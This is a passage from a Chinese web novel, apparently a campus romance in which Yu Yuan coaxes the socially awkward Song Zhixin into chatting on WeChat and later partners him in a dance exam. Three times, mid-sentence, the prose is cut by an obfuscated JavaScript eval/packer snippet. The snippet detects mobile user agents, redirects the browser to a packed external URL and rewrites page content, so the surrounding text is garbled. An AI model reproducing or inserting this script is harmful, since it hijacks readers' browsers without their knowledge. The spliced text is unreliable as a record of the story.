“……啊?”宋之信愣住了,看表情并不能明白这到底存在什么区别,因郁源的质问重新变得无措,伸出的便签往回缩了缩,纸张边角微微颤抖:“那,那……对不起。” 又在对不起什么?郁源咬牙,简直要被他怄死。他从宋之信手里抽出便签,言简意赅地命令:“带手机了吗?拿出来。” “哦。”宋之信的神色依旧疑惑,但总归不是没事可做了,低头翻找手机。他把手机递给郁源,对方却一动不动,没有接。 宋之信又迷茫了,正冥思苦想原因,郁源叹声气,终于冷冷地开口:“不解锁,是想给我递块砖吗。” 宋之信恍然大悟,连忙输入密码。再度抬起头,竟然是郁源把自己的手机送到面前,亮起的屏幕上有一枚二维码。 郁源皱着眉催促:“微信扫了后给我发申请,快点。” 郁源的通讯录上出现一粒小红点,颜色鲜艳得有些扎眼,但他没立刻点开。 宋之信把手机塞进口袋,嘴角弯一弯,似乎心满意足,妥帖地拍了拍不存在灰尘的外套衣摆。他缓缓抬起眼,一板一眼对郁源告别: “我要去上课了,郁源同学。再见。” - 宋之信一走,祝雨澄不知从哪个角落冒头,攀上郁源一边肩膀,满脸激动:“妈呀妈呀妈呀你俩说什么了……” 蒋汀也跟着缠上来,牢牢箍住郁源的手臂:“我靠我靠我靠郁源什么情况什么情况?祝雨澄不说他社恐吗?怎么还主动出击了?” 两个左膀右臂持续胡搅蛮缠,郁源怎么甩也甩不开,索性破罐破摔:“能不能放我通过一下人家的好友申请?” “哦草,你真加啊?”蒋汀张大眼睛,“要不算了吧,加他干嘛啊?” “我答应了我不加?” 郁源瞪回去。更何况看在宋之信那张脸的份上,他也愿意大发慈悲,给宋之信一个追求自己的机会。 蒋汀撇了撇嘴,一句“那你为什么答应”就要脱口而出,突然被祝雨澄狠狠地踹了小腿肚,话到嘴边又拐弯:“那你……也别这么急呀,非要现在加吗。” “这和急有什么关系,”郁源匪夷所思,指腹悬停在小红点的上方,“早加晚加不都一样。” “哎呀这不一样!”蒋汀一拍大腿,压低声音高深莫测道,“先搞清楚,你俩谁喜欢谁?他这么按耐不住,你晚点通过,故意晾几个小时吊着他呀!” “……蒋汀你有病吧。”郁源无语了,送去一个内涵丰富的白眼。嘴上说着,心里竟真的开始动摇,握着手机举棋不定。 “算了吧,蒋汀。”祝雨澄拍了拍蒋汀的肩膀,“宋之信都这么主动了,你还让圆圆吊着他有意思?我们圆圆也不是什么玩弄人心的坏人嘛。” 蒋汀幽怨地看她一眼,这会儿终于清楚局势,自己寡不敌众,遂绕至对面重新坐下,与二人悍然割席。 郁源拉开椅子坐下,刚通过宋之信的好友申请,对方的消息就弹出来。 宋之信:【郁源同学,你好。】 宋之信:【我还是想对你说。】 宋之信:【你真漂亮[微笑]。】 “……” 郁源手一抖,手机直接甩在了桌面上,还没反应过来,手机上方已争先恐后探出两个脑袋。 “诶呦喂。”蒋汀夸张地捂嘴,“男生夸男生长得漂亮,嘴上还说只想和你做朋友?这暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471551|201508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 示也不要太明显了吧。” “天呢,”相比之下祝雨澄淡定一些,嘴里悠然飘出一句,“没想到宋之信还是直球挂的。” 郁源头皮发麻:“…………你们别这样。” “什么叫我们别这样?”蒋汀理直气壮,“这话你应该对宋之信说吧,让他别这样,动不动就你真漂亮,不肉麻吗?” 郁源置若罔闻,飞快地把手机拿回来,这次吸取教训,牢牢地卡在虎口,给宋之信编辑消息:【谢谢[玫瑰]。】 蒋汀还在喋喋不休:“郁源你注意点吧,人家既然都主动出击,估计接下来得有一套丝滑小连招。麻烦你稍微把持把持,别一周过去就沦陷了。” 郁源不耐烦地啧一声,撩起眼皮睨他:“你把我当什么人了?”他低头,咬着嘴唇斟酌片刻,又把玫瑰的表情删掉了。 最终点击发送,郁源摁灭手机靠回椅背,想到蒋汀刚才说的那些话,莫名产生一些恼怒。 ——危言耸听无稽之谈!郁源冷笑。就宋之信对自己的态度,到底是谁把持不住? 接下来无论宋之信和自己说什么,他都不会再有任何波动! - 郁源点进快一周都没有任何动静的聊天页面,陷入沉思。 ——不是说要认识吗。不是说要做朋友吗。快一周过去结果一句话不说这又是想干什么? 郁源深呼吸,手指戳了戳对话框,绿色的竖线浮现,在他眼里跳动闪烁。 再往上,宋之信和自己的交谈停留在他发送的那句“谢谢”。只言片语占据不了多少位置,页面的剩下大半空空荡荡。 数不清第几次退出和宋之信的聊天页面,置顶显示蒋汀在一分钟前发来消息:“什么情况?郁源你掉坑里了?” 郁源回他一个金光璀璨的“滚”,打字发送:“你先走吧,别等我了。”他把手机揣好,推开隔间的门,离开卫生间,向楼上走去。 附中的实验班和竞赛班要比平行班晚十五分钟放学,郁源踏完最后一阶,下课铃声刚好响起。 整个楼层顷刻间嘈杂起来,郁源绕路避开祝雨澄所在的班,寻找竞赛一班的教室。 摸到竞赛二班的位置,郁源在后门停下来,双手插着口袋,半边肩膀靠在外廊的墙沿。想了又想,郁源摸出鸭舌帽和口罩戴上。 宋之信从教室出来的时候,郁源透过窗户看了眼,教室里面的同学已经所剩无几。 走廊上人影三三两两,显得空旷许多。郁源的目光藏在鸭舌帽底下,因而能够肆无忌惮地打量他。 宋之信的运动鞋虽然是知名品牌,估计价格不便宜,但款式过时,与当下潮流已经脱节许久。他那只双肩书包同样老气横秋,大得犹如一块沉重的龟壳。 这就让郁源不由得怀疑,宋之信走路习惯于低头或许与此有关,以至快要路过,都还没发现自己的存在。 郁源可没有去赌宋之信何时发现的闲情逸致,当即走上前,伸手在他面前晃了晃:“喂……喂!” 宋之信听见他的声音,明显一愣。半晌才缓缓抬头,晦暗模糊的夜色下,对上一双清楚的眉眼。 “说着要和我认识一下。” 郁源拉下口罩,似笑非笑的:“宋之信。其实已经不认识我了,是吗?” 8. 教学 郁源摘下鸭舌帽,乌黑的头发顺势垂在额前,质地看起来非常柔软。 而他的肤色偏冷,此刻眼神中也没有亲近,虽然嘴角保留一点笑意,却无端生出一种拒人千里的气质。 “怎、怎么会,”他有意发难,宋之信根本无力招架,只得磕磕巴巴地辩解,“……郁源同学,才没有不认识你。” 郁源意味不明地看他一眼,不作回应,迈开腿就往楼梯间走。 宋之信怔住,站在原地手足无措一会儿,最终选择亦步亦趋跟上。 两人一前一后来到走廊尽头,郁源停下来,却没和宋之信对视,兀自用鞋尖踢了踢地面,口吻听起来漫不经心:“是吗,宋之信。” “那你为什么不来找我说话?” 宋之信闻言,微微张大眼睛:“这…这是什么意思?郁源同学。”他很是不解:“说话的话,碰见你了才可以吧。” “…………啊?” 郁源被他狠狠一噎,始料未及愣在原地。 见郁源沉默着不置可否,宋之信很认真地思考一会儿,才继续道:“郁源同学,你说‘找’你说话,就是故意来和你说话吧。” “可是,”他顿了顿,愈发迷茫,“可是我之前……故意碰见你,你又不高兴。” “跟之前的事没关系!” 郁源忍无可忍,气急败坏飞去一眼。对方瞬间消声,嘴唇抿得死紧,神色看起来呆滞,却有一些摇摇欲坠的惊慌。 “……” 郁源恢复冷静,努力让语气变得温和,向他解释:“宋之信,我说的不是让你现实里需要和我碰面的意思。” 还没等宋之信继续发问,他深吸一口气:“你过来。”宋之信怔愣几秒,把自己挪上前,离郁源更近。 走廊里有监控,郁源不方便拿出手机,只留给他一个眼神,随即快走几步,又轻飘飘从宋之信身边绕开,拐进了楼梯间旁的男厕所。 宋之信犹疑几秒,忙不迭跟着他进去。 放学时分,厕所里那盏电灯早已被关上,只有一扇没关合的窗户露出半边月亮。 郁源打开杂物间的门,自己先没动:“进来。” 郁源在他之后走入,迅速关门反锁,转身面向他。杂物间太过逼仄,几乎难以容纳两个将要成年的高中男生。 宋之信怎么样都离自己太近,庞大的身影倾投下来,完全遮挡住窗外洒进的寸余月光。 郁源仰起脖颈,抬头与他对视,把手机拿了出来,打开与宋之信的聊天记录,眯起眼睛:“你问我是什么意思?” “我倒想问你又是什么意思宋之信。” 郁源举高手机,屏幕的光亮映在宋之信的镜片上:“你自己亲口说要和我认识一下,和我做朋友。”郁源不依不饶地质问:“好几天了一个字不说,为什么?” 他把手机摁灭,等待宋之信的回答。 周遭再次落入黑暗,片刻寂静后,他听见宋之信说:“……还要说话?” 郁源:“?” 宋之信非常不解:“我们互相知道名字,还加了联系方式,这样……不就已经算是认识了吗。” 郁源几乎脱口而出:“你管这叫认识???” 宋之信沉默,犹豫一会儿,选择诚实:“难道……不是这样吗。” 啪嗒一声闷响,郁源宛若虚脱,肩胛骨重重抵撞在门板。他扶额望天,一阵头晕目眩袭来,比起愤怒,更多是深深的疲惫与无力。 纵使宋之信的长相踩在自己审美上,但这情商也实在是太没救了。他非得因为一张脸就对宋之信如此宽宏大量? 郁源曲肘,手掌覆在背后的门闩上,想要拔出插销扬长而去的冲动愈发强烈。 “郁源同学。” 宋之信这会倒是知道察颜观色,面带愧疚,欲言又止老半天,憋出一句:“我……对不起,你……不要生气。” 郁源心情复杂地看着他,整个胸腔变成沉甸甸水淋淋的海绵,皱缩又膨胀,翻来覆去反复无常。最终他闭了闭眼,默想,好吧,好吧。 “知道了。”郁源缓缓垂落手臂,抬起眉毛,“宋之信,原谅你了!” 见宋之信紧绷的神色稍稍松懈,立即话锋一转,“但是既然都说了对不起,就要知错能改。” 郁源重新打开手机,给宋之信展示自己的好友列表:“宋之信,认识也不是这样认识的。” 他随便戳开几个聊天框,每个竟都无一例外,沉寂许久:“你看,这都是我曾经的同学。” “我们也互相知道名字,还有联系方式。” 郁源说:“可是我们的关系,除了名字还在对方的好友列表里,和陌生人有什么区别?还是说你也想和我这样,宋之信?” 宋之信显然被震慑,连忙摇头。 “所以,”郁源掷地有声,“真正的认识,才不是你想的那样,知不知道?” “哦……哦,”宋之信和他对视,似懂非懂,“郁源同学,那怎么样,才算是真正的认识。” “问得好。” 郁源说完,瞪他一眼:“首先,你不要再‘同学同学’叫我了!” “可,可是……” 宋之信张了张嘴,正要解释,被郁源出声打断:“一天到晚‘同学同学’,这听着不生分和客套吗?但凡是稍微熟点的人谁会这样叫?” “大家都是互相称呼本名或昵称的,知不知道?这样才能显得我们的关系更……亲近。” “……哦。”宋之信看起来理解得很艰难,但顺从地听取建议,“我知道了。那我应该用什么昵称叫你?” “……”得寸进尺!我们什么关系你就想叫我的昵称?郁源简直无语,这人到底有没有摆正自己的位置,“你就直接叫我的名字。” “好的,郁源同…郁源。” 教学初步取得成效,郁源感到欣慰,继续补充:“还有,真正的认识……是需要相处的。” “相处?” “是的,相处。”郁源说,“就是平时也要去交流和接触,花时间来经营彼此的关系。” 在宋之信脸上辨认出错愕且为难的表情,郁源瞬间垮脸:“怎么,不愿意经营?” “……不是,”宋之信惶然失措,声音越来越小,“郁源,我没……没有这个意思。” “而且,你不是还想和我做朋友吗?”郁源仰起脸,“别告诉我打算光想不做吧。你知道怎么才算得上是朋友吗?” 郁源给他草草浏览自己和蒋汀祝雨澄的三人小群。对话框浩浩荡荡,消息怎么上滑都翻不完: “这是我和最好的朋友们之间的聊天记录,我们平时都无话不谈的。” “宋之信,没让你和我无话不谈,但最起码的要求也需要达到吧。”郁源捏紧手机,状似轻描淡写瞥过去,“不然,谁愿意和你做朋友?” “原来是这样。”宋之信看起来明白了,推一推眼镜,郑重地请教他,“那我们,我们应该怎么相处?” “你在微信上和我说话啊。”郁源再度点开和宋之信的聊天页面,“至于最起码的要求……你每天能自由摸到手机吗?” 他打字飞快,输入并发送一句【晚上好】。 “看见了吧宋之信?我给你打个样。”他举起手机,在宋之信眼前晃了晃,“相处的话,先从基础的问好开始吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471552|201508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “哦…哦。” 宋之信的反应慢半拍,郁源又一字一句,不容置喙地和他强调:“哦什么哦?你记住了,今天晚上,回去就发,知道吗?” 宋之信的眼睛眨几次,最终缓缓地点一点头。 这还差不多。 郁源姑且满意,转而又忿忿磨牙。自己这么细致入微呕心沥血的教学局,如果宋之信连问好都还是不会,那和他也就真的一切免谈了! - 郁源望着自己与宋之信的聊天页面,翻看对方连续一周固定时间雷打不动的“早安”“晚上好”陷入沉思。 宋之信确实和他说话了,但仅限于一日三次加起来不超过十个字的问好,比人工智能都刻板严谨,多余的连标点符号都不给。 如果可以,郁源甚至想拆开他的脑子抖一抖,看看掉出来的是不是一堆芯片和零件。 这是在干什么?换个聊天软件火花都续出来了,再这样下去他们要养友谊的巨轮吗! 郁源面色阴沉,这以后要是真的谈了,和网恋有什么区别?如果都算网恋了,那这张脸能不能看到实物又有什么意义? 他颓废地瘫在椅背上,两眼无神地望着头顶吊灯,莫名觉得先前如此大费周章想方设法都将徒劳,恨不得把罪魁祸首宋之信五花大绑押送到自己跟前,再劈头盖脸辱骂一整天。 ……不行! 郁源重新振作,鲤鱼打挺拿起手机,决定仔仔细细复盘一番: 最初两天,宋之信每次发消息,自己就秒回,然后再也等不到下文。 第三天开始,自己把回复缩短成“好的”并不附带任何表情,以期宋之信能发现他的失望和不满。 然而哪怕昨晚他故意隔了半小时再回复,用的还是一个冷漠的“嗯”字,宋之信也似乎丝毫没有察觉出任何问题。 郁源烦躁地抓一抓头发,此刻终于意识到,以宋之信这个直来直去的脑回路,要想他无师自通幡然醒悟已完全希望渺茫。 除了自己再次主动出击,或许别无他法。 于是,在宋之信发出第八个“晚上好”的半分钟后,郁源说话了。 郁源:【宋之信。】 郁源:【除了早晚安,你不会发点别的?】 宋之信:【啊?原来还能发别的吗。】 郁源两眼一黑:“……” 郁源:【你的意思是,你之前不知道?】 宋之信:【不知道。】 “……” 郁源深呼吸,尽量显得自己和善亲切,让字里行间不带负面情绪:【那现在你不就知道啦[抱拳],除了最基础的问好外,还可以发别的哦[爱心]。】 郁源:【宋之信,所以请你除了问好以外,也发点别的给我吧[玫瑰]。】 消息发送出去,郁源翻个白眼,先被自己的忸怩作态激起一阵恶寒。 宋之信很快回:【我可以发点什么?】 意料之中,但不妨碍气人。郁源冷笑一声,偏偏得捏造如沐春风的口吻:【这个嘛,可以发的有很多呀[微笑]。】 郁源:【就比如,你有什么话想对我说呢?】 分明是打字,却让郁源比说话还口干舌燥。一段话编辑好发送出去,郁源决定中场休息,先行撂下手机,起身去客厅找水喝。 端着杯子回房间,看见桌面上手机屏幕弹出提醒,宋之信的消息猝不及防,横冲直撞跳进眼里: 宋之信:【哦。】 宋之信:【郁源,你真的好漂亮。】 宋之信:【最想对你说的是这句话。】 “……” 郁源打翻了手里的水杯。 9. 好奇 “……” 郁源手忙脚乱,一时间不知道应该先要放下杯子,还是应该去抽餐巾纸擦拭。 胸腔里好像盛满摇摇晃晃的沸水,滚烫的蒸汽滋滋渗出皮肤,脸颊和耳侧翻涌着灼热。 ——宋之信怎么老是这样?! 郁源边拿纸巾擦拭桌面,边在心中嗔怪:漂亮漂亮,动辄就说漂亮,难道除了自己长得漂亮没有别的可讲了? 他把纸巾丢入垃圾桶,重新拿起手机:【这句话我知道了。】 【还有别的可以说吗?宋之信。】 思忖一会儿,觉得语气太过严肃,很快进行调整:【就比如说,你今天做了什么事,吃了什么东西,心情怎么样?】 【关于你的日常生活,都可以分享给我哦。[微笑][玫瑰]】 宋之信:【这样吗。】 宋之信:【好的,我知道了。】 “……” 郁源警惕地看着手机,对宋之信暂且保持怀疑态度。 他端杯缓缓喝水,垂眼瞥见宋之信竟然发来一张图片,还未加载完毕,显得模糊。 这什么?郁源皱眉点开。 图片清晰呈现,密密麻麻的数字和符号瞬间占领并盘踞他的整个视网膜——是一道数学题。 准确说,大概率是一道竞赛数学题。 “……”郁源一口水差点喷出来,几分钟不到再次手忙脚乱,他仓皇放下杯子,捂住嘴压抑几声急促的咳呛。 半晌,郁源缓过劲,当即噼里啪啦打字,也顾不得扮演什么善解人意的社交天使:【?宋之信。】 【这是在干什么[龇牙]。】 宋之信还挺理所当然:【在和你分享我的日常生活。】 宋之信:【这是今晚做的题。】 宋之信:【我暂时能想到三种解法。】 不是,谁要听你说这个?! 郁源恼羞成怒,差点一个流汗黄豆送出去。但转念一想,起码宋之信的态度良好,又还算主动。自己太过严苛暴躁,万一挫伤了他的积极性怎么办? 于是大发慈悲地谅解,干巴巴回复道: 【是吗,你真厉害[大拇指]。】 宋之信毫无包袱地收下了:【谢谢。】 并且说:【郁源,我还想和你分享一下,这三种解法我的具体思路。】 “?” 郁源眼珠子险些瞪出来,这边宋之信甚至还颇为体贴地征求他的意见:【郁源,你想先听哪一种?】 “……”够了,郁源忍无可忍:【不好意思,宋之信。】 【你分享的这个,我恐怕听不懂呢。】 郁源:【所以,能不能发点别的给我?】 宋之信看起来没有丝毫不满或抗拒,顺从地答应了:【哦,好的。】 对面停一停,须臾发出一句:【明天可能下雨,要带伞。】过几秒,又一句:【中午去吃食堂的肉丝面。】 郁源:【?】 郁源:【你把我当备忘录?】 宋之信:【啊。】 宋之信:【没有的,郁源。】 宋之信:【这些都是我想告诉你的日常。】 宋之信:【分享这些,不可以吗?】 宋之信:【那你告诉我什么不可以发吧,郁源。我以后就不会发了。】 “……”郁源看见这几行字,竟然想象出宋之信委屈的语气和表情。 算了。干嘛跟宋之信计较呢?郁源决定退一步海阔天空:【分享这个,当然可以。】 他灵机一动,干脆趁此夯实一下自己通情达理的人设:【宋之信,其实你不用纠结的。】 郁源:【你想分享什么,都可以[玫瑰]。】 郁源发送出去,盯着看了又看,不禁感叹自己一番说辞真是滴水不漏完美无缺。然而他并没有陶醉太久,宋之信很快回复:【好的。】 “……”郁源的笑容僵在嘴角,随后突然反应过来,宋之信怎么都不问自己每天都在干嘛? 他猛然直起身,咬牙切齿地打字质问: 【宋之信。】 【你是不是对我不好奇?】 宋之信显然一头雾水:【为什么这样问,郁源。】 郁源已经怨气冲天,愤然指责:【因为我会问你,但你却不问我今天都做了什么。】 郁源:【是不是因为你根本进不去不想知道,宋之信?】 宋之信:【哦。】 宋之信:【原来我需要问你才会说的吗。】 ——握草!!! 郁源被他怄得跺脚,脏话悉数堵在嗓子眼,偏偏这时宋之信坦然飘出一句:【好的,我明白了。】 郁源对着这行字怒目而视。你又明白什么了??? 宋之信从善如流:【郁源,你今天做了什么?】 这人竟然还严谨补充:【我很好奇。】 郁源:“……………………” 他闭眼,麻木地揉了揉自己的眉心。 随后说:【白天在上学。】 宋之信:【我们一样[微笑]。】 宋之信:【那晚上呢?】 郁源:【晚上在生气。】 消息发出去,聊天页面好一会儿都没有动静。郁源看着最上方那一栏“对方正在输入…”的标识,心中微微一动,不自觉放缓了呼吸—— 宋之信:【郁源。】 宋之信:【晚上为什么会生气?】 - “好安静,我以为我们之间永远有话说。” 郁源鄙夷地瞥去一眼,抬腿就想踢,被蒋汀灵活躲开:“怎么回事啊郁源,咱俩交际舞拿了最高分呢,心情还这么不好。” 交际舞,附中高二体育课的必学和考核内容之一,却不允许异性同学间搭组,于是顺理成章沦为好姐妹铁哥们互相迫害的项目。 为了把之后的体育课全部变成自习,给接下来的学考让步,这几天全年级的体育课都刻意排在一起,轮着进行交际舞考核。 郁源和蒋汀搭组,郁源跳的女位,总体来说对两人都没什么难度。 四平八稳地通过并取得高分,两人跑去小卖部一趟,时间又还早,便滞留在操场上溜达。 蒋汀叼根冰棍,闲庭信步:“好无聊啊,澄姐在哪?我们去找她吧。” “不知道,”郁源的视线梭巡了会儿,“他们实验班竞赛班应该在一起考核吧,毕竟就这点人。” “那这不挺好,”蒋汀闻言,顿时乐了,“等下我去找祝雨澄,你刚好直接去找你的宋之信。” “……”郁源停下来,无语地瞪着他,“你是不是有病。” “诶呦干嘛呀,”蒋汀嬉皮笑脸,用戏谑的语气,“没两个月快暑假了吧?到时候聚少离多,趁着你们都还在校不能抓紧时间增进感情?” “你想多了吧。”郁源翻个白眼,“我和宋之信需要增进什么感情?” “还有,”郁源警告,“你少跟我提他。” “哦草。”蒋汀睁大眼睛,不可思议道,“你们不是才认识吗,两个人难道就已经在闹什么矛盾?” “?”这你都知道。 郁源惊讶地看着他,没有说话。蒋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471553|201508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汀倒是淡定地摊开手:“你看什么看。好几天都魂不守舍,我们这么多年朋友白做啊。” “你实在不高兴,要不直接和我说呗。”他凑近郁源,“宋之信怎么惹你了?” “……” 郁源沉默了,咬着嘴唇犹豫很久,最终还是忍不住开口: “社交能力比小学生还不如,教都费劲。看着聪明,结果长个脑子就知道做题,蠢死拉倒!” 酣畅淋漓骂完,脚下被一块石头挡住去路,郁源停住,低头,用鞋尖轻轻踢了踢,石头不为所动。稍稍加重了力度,才囫囵滚向别处。 他怔然抬眼,发泄过后陷入到深深的挫败。 那天晚上过后,郁源单方面和宋之信闹起脾气。一方心乱如麻,一方却风平浪静。宋之信真的听取郁源给的建议,从次日开始,除了最基本的问好,也分享每天自己做的事情。 郁源却不大愿意回他。又不能真的不回,因此语气看起来恹恹的,每次给的回复也很简略。 正常人几乎都能意识到的敷衍,宋之信却对此浑然不觉,依旧一天接着一天,编辑蹩脚又笨拙的消息,发送给郁源。 宋之信就像在自己的心里垒石头,顽固,执着,推也推不开。只能任由他一块接着一块,似乎要立志砌成一座密不透风的高墙,时常让郁源感到烦躁,憋闷,无可奈何。 “诶呦,”蒋汀露出幸灾乐祸的表情,“我当时就说他高分低能,你那样子还挺不乐意呢。” “你看你,非要亲身体会才发现我真是有先见之明吧!” 蒋汀确实没有说错。郁源咬紧牙关。 除了长得特别好看和智商高,品行确实不坏之外,宋之信几乎全是缺点:迟钝,死板,举止古怪,尤其的没有眼力见。 ——所以自己到底为什么要给宋之信机会? 郁源的情绪没有遮掩,全部写在脸上。蒋汀立马变了神色,揽过朋友的肩膀拍一拍,温声宽慰: “哎呀。算啦算啦圆圆。宋之信不是天才么,这些怪胎的不正常才是正常,你又不是不知道。” “你那么好,一个不正常的宋之信才不能否定你的实际魅力,纠结他干嘛呢?” “要我说,正好趁着现在投入不多及时止损。喜欢你的不是大有人在?什么时候想谈了,绝对都能排着队让你精挑细选!” 蒋汀边说着,眼睛东张西望,利索得不知道瞟向哪个角落,惊呼道:“我靠是澄姐!澄姐在那边!” “别想啦,圆圆。”他轻轻推了推郁源的后背,示意郁源和自己一起向前走,“我们过去吧过去吧。” 等到两人慢慢悠悠踱着步大驾光临,祝雨澄原先排着队等考核,当时就差两个人到自己,现在也结束了。 祝雨澄走向他们,和两人一人打一个招呼,蒋汀亲昵地绕到祝雨澄旁边,幽幽问: “澄姐,怎么现在才完?” 祝雨澄眯起眼睛,双手抱胸:“蒋汀你是不是明知故问啊?我这已经是考了第二遍。” “你以为我像你们俩?初中还结伴报过一年街舞班。”祝雨澄说,“两遍就过,我已经谢天谢地了。” 郁源似笑非笑看着她,祝雨澄又说:“两遍的还好,能在自己班上继续排队考。知道两遍还没过的去哪了吗?” 她抬手一指不远处。宋之信因为个子很高,实在鹤立鸡群,郁源几乎一眼就看见。 风水轮流转,这次到蒋汀不露声色,藏在祝雨澄背后的手肘轻轻碰了碰她。 “……啊,圆圆,”祝雨澄赶紧收回手,充满歉意,“我不知道宋之信也在里面。” 10. 共舞 郁源朝她摆手,无论祝雨澄有心与否,对此并未太过在意。 他抬起眼睛,又朝宋之信的方向一瞥。宋之信站在队伍最末尾,兀自低眉耷眼,模样看起来局促又老实。 “……” 郁源撇嘴,给宋之信罗列的罪状又添一条——脑子迟钝就算了,怎么学个交际舞也慢半拍? 视线正欲收回,一名老师拿着统分表走近宋之信,和他讲话。不知道说了什么,宋之信神情木然,缓慢地摇头又点头。 老师随之叹口气,不再管他,绕过宋之信来到队伍前端,大声通知还没过考核的同学开始练习,几分钟后正式补考。 一时间群魔乱舞,补考队伍豪杰毕至,跳得千奇百怪不堪入目,场面实在诡异又滑稽,当即招惹起几片此起彼伏的哄笑。 只有宋之信落单,一动不动杵在墙角,身边不断有同学在他的周围用步履画圆,一个一个界限分明,旋转,旋转,很快接近又翩然远离。 “好热啊。” 蒋汀没了兴致,脱下外套:“你们两个还打算在操场继续待着吗,不去班上吹空调?” “别急,再等会嘛。”祝雨澄朝他狡黠一笑,“我特别讨厌的人也在里面补考,想留下来看他出洋相呢。” 蒋汀啊一声,说好吧,正要询问郁源,祝雨澄却抢了先,看向郁源,目光如炬:“圆圆,要不你留着陪我吧。” 郁源看起来勉为其难,但最终没有拒绝。 祝雨澄带着他顺势挤进前方的围观人群。朋友们都不走,蒋汀也打消了回去的心思,慢条斯理跟在俩人后面。 几位体育老师正坐着闲聊,刚才和宋之信说话的那名老师一扭头,瞥见身后一群吵吵嚷嚷的学生,朝他们打趣: “嗨呀,这么多人?你们算是给老师减轻负担了。现在还能站旁边看热闹。” 人群里一阵嬉笑,老师继续说:“这些补考的同学,看着人不多,实际可让我们操心。” “特别是那个最高的,”另一名老师冲宋之信抬了抬下巴,插话道,“谁知道这同学哪个班的?他都跳几次了,一直就不过。” “最开始我给他换了几个搭档,结果他疯狂踩别人脚,搞得对面很有情绪。现在剩下没过的,也不愿意和他组了。” “……妈啊,”蒋汀凑近郁源,“宋之信这种学霸,大小脑只能发达一个吗。” 郁源没搭腔,面色沉静得出奇。 老师说完,低头一看腕表,时间差不多,吹两声哨,催促准备好的同学过来排队补考。 于是各自画圆的舞步陆续停下,散开的队伍重新聚拢成松松垮垮的一排。 宋之信依旧站在最后,与前一位同学隔出明显的间隙,垂着头似乎在走神,淡漠得仿佛置身事外了,目光放空且游离。 真是笨死了,郁源默想。 老师没再安排搭档,自己不会想办法? “唉,补考的就剩下这半节课机会了,再不过只能先打不及格,以后复课再说。”那名老师似乎是看了一眼宋之信,“我们老师也要休息,不等这一个两个的。” 考核的老师把音箱打开,几组同学踩着节拍正式补考,没准备好的也趁此机会练习。 或许是见宋之信还是没有任何反应,负责登分的老师朝他喊:“那位同学,一直站着不动是想干嘛?” “实在找不到搭档,就先回去,别在这挡其他同学的道。”老师拉下脸,态度不太客气,“我们直接算你弃考了!” 早在看见宋之信那刻,郁源就提醒自己,对于宋之信面临的窘境,别去多管闲事,刚好冷眼旁观,就当出气。 但此时却微妙地产生让自己都反感的恻隐。郁源拧了眉毛,忍不住在心中暗骂,他是脑子犯轴吗,还想去帮宋之信? “唉他们学霸,也就体育课这么落魄了。”蒋汀顿时感慨,“不会跳舞而已,竟然能被训成这样。” 他曲肘,轻轻拱一拱旁边的郁源,却顶了个空:“……?” “——老师。” 辨认出是谁的声音,蒋汀微微错愕,瞪大眼睛一扭头,郁源已经站在一名老师身后: “我想请问您,补考的同学没有搭档,可以让通过的同学带着跳吗。” 要不要帮,应不应该帮,又为什么帮,这一切郁源都懒得再纠结。就当他同情心泛滥,施舍给宋之信行了吧? 老师闻言,打量他一番:“原则上没什么问题。”她说,“反正你已经通过了吧,同学?” 郁源乖巧点头,老师又用调侃的语气问:“你想带谁过呢?这么自告奋勇,是不是早就挑好了。” “就是那个现在还没有搭档的男同学。”郁源耸肩,倒是坦然,“我看他暂时也找不到补考同学做搭档了,刚好我去还能再教一教。” 说到这里,郁源话音一停,轻快道:“也是给老师们减少工作量嘛。” 郁源对上她的视线,明眸皓齿笑得实在漂亮,热切和分寸都恰到好处:“可以吗,老师?” “诶呦。”老师连忙说,“怎么不行啊?你去吧,这么助人为乐的同学,我们求之不得呢。” “谢谢您。” 郁源得到准许,背对一片窃窃私语,迈步朝宋之信走去,脸上笑容逐渐收敛,面无表情叫他:“宋之信。” 宋之信转过身,看见来人竟是郁源,眼睛微微张大了:“……郁源?你也过来补考吗。” “……”郁源当作没听见,解释道,“我来帮你通过考核的。” “你跳男位还是女位?”郁源不再多说,很自然地走到他前面,“我自己是女位,但男位也顺便学了,都行的。” “太好了,郁源,”宋之信看起来很高兴,接连抬了两下镜腿,“刚才老师还过来和我说,跳女位的差不多都过了。没人和我组的话,就直接让我不及格。” “不及格自己不会想办法?” 郁源斜他一眼,忍不住低声训一句。但他的语速飞快,宋之信甚至没能听清楚,于是迷茫道:“什么?” “……没什么。”郁源深呼吸,“我是说,那搭档现在不就有了?我们过去考试吧。” 宋之信却忽地踌躇起来,眼神闪烁。郁源耐着性子问:“怎么了宋之信。你不会要弃考吧。” 